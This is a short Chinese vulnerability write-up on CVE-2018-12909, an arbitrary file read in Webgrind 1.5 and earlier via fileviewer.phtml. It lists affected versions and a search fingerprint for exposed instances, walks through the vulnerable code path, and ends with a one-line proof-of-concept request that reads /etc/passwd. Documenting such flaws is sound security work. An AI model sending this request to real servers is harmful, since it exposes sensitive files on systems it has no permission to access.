2022-08-29 10:30:32 +08:00
|
|
|
# Webgrind fileviewer.phtml 任意文件读取漏洞 CVE-2018-12909
|
|
|
|
|
|
|
|
|
|
## 漏洞描述
|
|
|
|
|
|
|
|
|
|
Webgrind是一套PHP执行时间分析工具。其中Webgrind 1.5版本中存在安全漏洞,该漏洞源于程序依靠用户输入来显示文件。攻击者可以通过漏洞读取服务器敏感文件
|
|
|
|
|
|
|
|
|
|
## 漏洞影响
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
Webgrind <= 1.5
|
|
|
|
|
```
|
|
|
|
|
|
2023-08-28 15:55:36 +08:00
|
|
|
## 网络测绘
|
2022-08-29 10:30:32 +08:00
|
|
|
|
|
|
|
|
```
|
|
|
|
|
app="Webgrind"
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
## 漏洞复现
|
|
|
|
|
|
|
|
|
|
主页面
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|

|
2022-08-29 10:30:32 +08:00
|
|
|
|
|
|
|
|
方法调用在 index.php 中
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|

|
2022-08-29 10:30:32 +08:00
|
|
|
|
|
|
|
|
当参数为 fileviewer 时,将参数传递包含在文件 templates/fileviewer.phtml 中
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|

|
2022-08-29 10:30:32 +08:00
|
|
|
|
|
|
|
|
参数 file 传入 `fileviewer.phtml` 通过函数 `highlight_file` 显示在页面中, 验证POC
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
/index.php?op=fileviewer&file=/etc/passwd
|
|
|
|
|
```
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|

|